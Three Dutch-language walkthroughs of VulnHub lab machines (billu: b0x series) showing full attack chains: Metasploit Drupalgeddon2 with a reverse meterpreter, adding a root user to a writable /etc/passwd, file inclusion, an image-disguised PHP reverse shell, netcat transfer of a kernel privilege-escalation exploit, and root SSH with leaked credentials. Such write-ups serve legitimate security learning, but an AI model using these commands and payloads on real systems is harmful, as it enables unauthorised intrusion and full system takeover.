billu: b0x2

Naambillu: b0x2
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID102
Interne naamBillubox2
TagsWeb, privesc, metasploit

Dit is de tweede machine uit de billu reeks

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.102 -sV -O -A

De uitvoer van de scan toont aan dat er een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na een beetje rondgeklikt te hebben vraag ik de html bron van de pagina op met een rechterklik en dan ‘view page source’

In de code zie ik dat de pagina draait op Drupal 8.

<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />

Dit is een oudere versie van Drupal, mogelijk is er een exploit beschikbaar. Dit keer kies ik er voor om metasploit te gebruiken in plaats van alle handelingen met de hand te doen.

msfconsole
search drupal

Uit de resultaten kies ik ‘drupalgeddon 2’ en laad deze in metasploit in.
Omdat Drupal op PHP draait gebruik een PHP gebaseerde payload (reverse tcp meterpreter). Als lokale poort gebruik ik mijn favoriete poort 4444.

use exploit/unix/webapp/drupal_drupalgeddon2
set payload php/meterpreter/reverse_tcp
set LHOST 10.0.1.234
set LPORT 4444
set RHOSTS 10.0.1.102
run

Succes: er wordt een reverse TCP meterpreter sessie gestart

[*] Started reverse TCP handler on 10.0.1.234:4444
[*] Sending stage (38288 bytes) to 10.0.1.102
[*] Meterpreter session 1 opened (10.0.1.234:4444 -> 10.0.1.102:46298)

meterpreter>

Ik ga direct door naar de shell om te controleren onder welke gebruiker ik ben binnengekomen.

shell
whoami
www-data

Ik kijk graag in de /etc/passwd en /etc/shadow bestanden, mogelijk zit hier een eenvoudig te kraken wachtwoord in of is er iets anders interessants uit te halen.

cat /etc/passwd

cat /etc/shadow
cat: /etc/shadow: Permission denied

Helaas is /etc/shadow niet leesbaar, even uitzoeken wat de rechten zijn op /etc/passwd en /etc/shadow

ls -al /etc/passwd
-rwxrwxrwx 1 root root 2606 jun 10 2018 /etc/passwd

Nu ik dit zie kijk ik niet meer verder. Het passwd bestand is door iedere gebruiker beschrijfbaar. Dat betekent dat ik zelf een gebruiker of alias aan het bestand kan toevoegen.

echo hacker:`openssl passwd -1 -salt hacker hacker`:0:0:root:/root:/bin/bash >> /etc/passwd

Na het toevoegen van de gebruiker ‘hacker’ met wachtwoord ‘hacker’ is het tijd om in te loggen als deze gebruiker.

su hacker
su: must be run from a terminal

Ai, onze shell is geen volledige terminal sessie, maar dat is eenvoudig op te lossen.

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@billu-b0x:/var/www/html$

Ik wissel nogmaals van gebruiker, dit keer lukt het wel

su hacker
Password: hacker

root@billy-b0x:/var/www/html#

billu: b0x zonder SSH

Naambillu: b0x
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID136
Interne naamBilluboxNOSSH
TagsWeb, MySQL, privesc

Dit is dezelfde machine als 103: billu: b0x, maar dit keer is de SSH daemon uitgeschakeld om de moeilijkheidsgraad te verhogen.

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.136 -sV -O -A

De uitvoer van de scan toont aan dat er een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na het onderzoeken van de login pagina op SQL injectie vatbaarheden blijkt dat dit niet het geval is. Dan maar kijken of er interessante bestanden op de webserver zelf te vinden zijn. Hiervoor gebruik ik de commandline tool dirb.

dirb http://10.0.1.136 /usr/share/dirb/wordlists/big.txt

Dit levert een lijst van bestanden en mappen op, een aantal zien er interessant uit:

/phpmy blijkt PHP My Admin te bevatten, hiermee kun je MySQL databases beheren
/in bevat een PHPInfo pagina met daarop nuttige PHP informatie
De onderstaande bestanden zien er interessant uit:
/test.php
/panel.php
/show.php
/c.php

Ik begin met test.php, voor onderzoek doe ik dit het liefst vanaf de commandline met curl.

curl -X GET http://10.0.1.136/test.php

Dit levert een foutmelding op over het ontbreken van de ‘file’ parameter. Dit is eenvoudig uit te proberen:

curl -X GET http://10.0.1.136/test.php?file=test.php

De foutmelding blijft bestaan, blijkbaar verwacht het script de parameter niet als GET maar als POST.

curl -X POST http://10.0.1.136/test.php -d “file=test.php”

Succes, de inhoud van het bestand test.php wordt getoond op het scherm. Op deze manier is het mogelijk om bestanden van de server te tonen (maar helaas niet uit te voeren). Tijd om de overige bestanden die met dirb zijn gevonden te gaan bekijken.

This image has an empty alt attribute; its file name is 103-Billubox-testphp-code-1.png

Het bestand c.php blijkt de database credentials van de webapplicatie te bevatten.
billu: b0x_billu
Hiermee kan op de PHPMyAdmin pagina ingelogd worden waarna de database inhoud bekeken kan worden.

In de tabel auth staan de credentials voor de webapplicatie, namelijk biLLu: hEx_it
Hiermee kan op de webapplicatie ingelogd worden waarna er de mogelijkheid is om gebruikers te tonen of toe te voegen.

Enig onderzoek van de pagina broncode brengt aan het licht dat ook hier SQL injection niet mogelijk is. Verder worden de gebruikers afbeeldingen gecontroleerd op bestandstype, het uploaden van een PHP bestand met een backdoor en deze via de pagina laten uitvoeren is hierdoor helaas niet mogelijk.

Ook worden de verschillende invoervelden ge-escaped waardoor het niet mogelijk is PHP code te injecteren.

Verder onderzoek aan de broncode van panel.php brengt aan het licht dat onder bepaalde omstandigheden het mogelijk is een zelfgekozen bestand te ‘includen’ in de pagina. Het bestand moet zich echter wel onder de webroot bevinden.

Aangezien PHP alleen code uitvoert die tussen <?php ?> tags staat en verder alles negeert is het mogelijk om PHP code toe te voegen aan niet-php bestanden, bijvoorbeeld een afbeelding. Hiermee kan de afbeelding controle van de webapplicatie omzeild worden.

Eerst maak ik een dummy afbeelding aan:


echo ‘FFD8FFEo’ | xxd -r -p > backdoor.jpg

Vervolgens plaats ik hier achter een PHP reverse shell, in dit geval is het de uitstekende reverse shell van pentestmonkeys. Deze is aangepast zodat de communicatie wordt opgebouwd met het IP adres 10.0.1.234, poort 1234

cat backdoor.php >> backdoor.jpg

Het resultaat gebruik is als gebruikersafbeelding voor een nieuwe gebruiker. De afbeelding wordt geaccepteerd en komt terecht op de URL http://10.0.1.136/uploaded_images/backdoor.jpg

Nu moet de backdoor nog uitgevoerd worden. Hiervoor start ik eerst een netcat listener in een nieuw terminal window.

nc -nvlp 1234

Vervolgens roep ik de panel.php pagina aan met de juiste combinatie van parameters om de include van backdoor.jpg uit te voeren. Het is nodig om ingelogd te zijn aangezien er een PHP session cookie wordt gebruikt.

curl -X POST http://10.0.1.136/index.php -d “un=biLLu&ps=hEx_it&login-1” -c “koekje.txt”

curl -X POST http://10.0.1.136/panel.php -d “continue=continue&load=uploaded_images/backdoor.jpg” -b “koekje.txt”

Succes, er is een reverse shell met de machine. De gebruiker is www-data en heeft weinig rechten. Nader onderzoek naar de mogelijkheden tot een privilege escalatie is nodig.

In de welkomstboodschap is al te zien dat het om een Ubuntu machine gaat het kernel 3.13.0.

searchsploit 3.13.0

Er blijkt een local privilege exploit te bestaan voor deze kernel, de code hiervoor is te vinden op /usr/share/exploitdb/exploits/linux/local/37292.c

Met behulp van het nc commando kan dit bestand naar de doelmachine worden verzonden. Hiervoor wordt op de lokale machine een listener gestart welke de inhoud van het exploit bestand verstuurt.

nv -nvlp 1235 < /usr/share/exploitdb/exploits/linux/local/37292.c

Op de doelmachine wordt een nc verbinding gestart en de uitvoer wordt naar /tmp/exploit.c geredirect.

nc -nv 10.0.1.234 1235 > /tmp/exploit.c

De overdracht vindt plaats en door op de zendende machine de verbinding met ctrl-c te verbreken wordt het bestand op de doelmachine geschrveen.

Op de doelmachine staat nu de exploit in /tmp, deze moet nog gecompileerd worden zodat deze uitgevoerd kan worden.

cd /tmp
gcc exploit.c -o exploit
chmod +x exploit
./exploit

billu: b0x

Naambillu: b0x
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID103
Interne naamBillubox
TagsWeb, MySQL, SSH, privesc

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.103 -sV -O -A

De uitvoer van de scan toont aan dat er een SSH server op poort 22 en een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na het onderzoeken van de login pagina op SQL injectie vatbaarheden blijkt dat dit niet het geval is. Dan maar kijken of er interessante bestanden op de webserver zelf te vinden zijn. Hiervoor gebruik ik de commandline tool dirb.

dirb http://10.0.1.103 /usr/share/dirb/wordlists/big.txt

Dit levert een lijst van bestanden en mappen op, een aantal zien er interessant uit:

/phpmy blijkt PHP My Admin te bevatten, hiermee kun je MySQL databases beheren
/in bevat een PHPInfo pagina met daarop nuttige PHP informatie
De onderstaande bestanden zien er interessant uit:
/test.php
/panel.php
/show.php
/c.php

Ik begin met test.php, voor onderzoek doe ik dit het liefst vanaf de commandline met curl.

curl -X GET http://10.0.1.103/test.php

Dit levert een foutmelding op over het ontbreken van de ‘file’ parameter. Dit is eenvoudig uit te proberen:

curl -X GET http://10.0.1.103/test.php?file=test.php

De foutmelding blijft bestaan, blijkbaar verwacht het script de parameter niet als GET maar als POST.

curl -X POST http://10.0.1.103/test.php -d “file=test.php”

Succes, de inhoud van het bestand test.php wordt getoond op het scherm. Op deze manier is het mogelijk om bestanden van de server te tonen (maar helaas niet uit te voeren).

Het is zelfs mogelijk om bestanden die leesbaar zijn voor apache te lezen die niet direct op de webroot staan te lezen, bijvoorbeeld /etc/passwd

curl -X POST http://10.0.1.103/test.php -d “file=/etc/passwd”

Helaas is het niet mogelijk om /etc/shadow te openen op deze manier, anders was het mogelijk geweest om de wachtwoorden met john the ripper te bruteforcen.
Er is echter wel iets anders wat geprobeerd kan worden.

PHP MyAdmin heeft een configuratiebestand waarin mogelijk de database credentials te vinden zijn. Vanuit de pagina op http://10.0.1.103/in is een PHPInfo pagina op te vragen, hierop is de documentroot van de webserver te vinden. Dit blijkt /var/www te zijn.

De URL van phpmy is /var/www/phpmy, dus het configuratiebestand zou /var/www/phpmy/config.inc.php moeten zijn.

curl -X POST http://10.0.1.103/test.php -d “file=/var/www/phpmy/config.inc.php”

Met deze root credentials kan via SSH worden ingelogd op de machine. Er zit enige vertaging tussen het verbinden en de wachtwoord prompt, dit is mogelijk een bescherming tegen brute force.

ssh root@10.0.1.103